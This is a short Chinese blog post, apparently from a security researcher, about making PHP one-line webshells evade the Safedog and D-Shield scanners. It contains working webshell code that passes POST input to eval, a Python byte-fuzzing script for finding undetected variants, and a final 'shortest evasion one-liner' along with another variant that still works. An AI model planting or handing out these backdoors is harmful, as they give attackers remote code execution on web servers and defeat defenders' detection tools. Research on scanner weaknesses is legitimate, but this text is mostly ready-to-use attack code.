一个符号免杀一句话

0x00 前言

在上一篇文章中,发现安全狗应该使用语法树进行后门的检测,对一个1M的php文件进行检测耗费了46秒的时间,然后我把php后缀改成jpg后缀,安全狗也会检测。我们可以通过上传大量这种jpg从而影响到安全狗的查杀。后面又实验了一番,想让安全狗一直卡死在一个文件上的检测,无果。
但是又想了一下,不使用正则,那对文件的解析,会不会又问题?于是动手进行如下实验。

0x01 实验

一句话

1
2
3
4
<?
$lufei = $_POST['lufei'];
eval ($lufei);
?>

对一句话中eval与括号之间进行fuzz,看php能正常解析,而安全狗和D盾无法进行正常检测。

1
2
3
4
5
6
7
8
9
import re
import shutil
for i in range(0,256):
shutil.copyfile("lufei.php", "php/" + str(i) + ".php")
copyPhpFile = open("php/" + str(i) + ".php","r+b")
copyPhpFile.seek(35)
copyPhpFile.write(bytes.fromhex(format(i, '#04x').replace("0x","")))
copyPhpFile.close()

结果:

可以看到D盾和安全狗任何提示都没有。

最短的免杀一句话,嚯嚯嚯。

1
<?@eval\($_POST['lufei']);?>

0x02 总结

其实还可以对变量名$lufei和等号之间进行fuzz,都能绕过安全狗,但是过不了D盾。
在fuzz变量过程中,还发现了一个有趣的现象,下面一句话是可以正常使用的。(还有更多)

1
2
3
4
<?
$lufeib= $_POST['lufei'];
eval ($lufei);
?>